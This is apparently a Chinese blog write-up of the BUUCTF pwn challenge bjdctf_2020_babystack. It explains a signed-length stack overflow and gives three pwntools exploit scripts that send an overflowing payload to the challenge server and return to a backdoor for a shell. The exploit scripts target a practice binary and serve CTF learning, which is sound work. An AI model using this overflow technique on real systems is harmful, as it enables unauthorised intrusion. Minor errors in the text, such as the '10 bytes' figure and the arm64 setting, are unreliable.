【CTF】BUUCTF-bjdctf_2020_babystack1

buu bjdctf_2020_babystack

程序分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
    
  //scanf来输入一个数字,把这个数字作为之后read中的数据MAX大小
    
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);  
    
  //fd:文件描述符,用来指向要操作的文件的文件结构体
  //buf:一块内存空间
  //count:希望读取的字节数,这里nbyte就是count,同时这里nbyte是无符号整形,能进行整形溢出
  //无符号整数,在无符号整数出现变化的时候,会出现整数溢出
    
  return 0;
}

   //运行的时候,会有两次输入,第一次输入nbytes,之后第二次输入的截取你nbytes个,之后就继续往下找/bin/sh的位置

解题思路

寻找合适偏移量

从buf开始写入数据,要先把原本的数据填满,buf那里的数据填满需要10个字节,之后覆盖掉ret,需要额外用8个字节,所以是0x10+0x08

找/bin/sh
  • 这里找字符串可以直接用shift+F12去找,找函数地址可以直接在ida左侧地址栏寻找,或者ROPgadget都行

  • 话说text段是代码段,data段是数据段,要找函数地址比如system,backdoor可以去代码段找,想找字符串比如system参数/bin/sh时,就得去数据段data找

  • backdoor函数地址

  • /bin/sh地址

  • ps:当然,这里地址也可以直接在python中一步步找

在python3中输入
from pwn import*
io = ()
elf =ELF()
elf.symbols["backdoor"]

EXP

解法一
from pwn import*
p = remote('node4.buuoj.cn',29028)
sys = 0x4006E6   //0x4006EA也可以
//elf = ELF()
//backdoor = elf.symbols["backdoor"]
p.sendlineafter("[+]Please input the length of your name:",'200')
payload =b'a'*(0x10+0x8) + p64(sys)
p.sendlineafter("[+]What's u name?",payload)
p.interactive()
解法二
  • 因为本题中nbytes是一个无符号数,因此可以输入一个-1来得到一个很大的数

from pwn import*
p = remote('node4.buuoj.cn',29028)
context(os = 'linux',arch = 'arm64',log_level = 'debug')
payload = b'a'*(0x10+0x8) + p64(0x4006E6)   //改成4006EA这里就打不通了哦
p.recv()
p.sendline(b'-1')
p.recv()
p.sendline(payload)
p.interactive()
  • 解法二的另一种姿势

from pwn import*
p = remote('node4.buuoj.cn',29028)
context(os = 'linux',arch = 'arm64',log_level = 'debug')
payload = b'a'*(0x10+0x8) + p64(0x4006E6)
p.sendlineafter("[+]Please input the length of your name:",b'-1')
p.sendlineafter("[+]What's u name?",payload)
p.interactive()

初次发文,很多地方做的不足,还望各位大佬多多指点

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值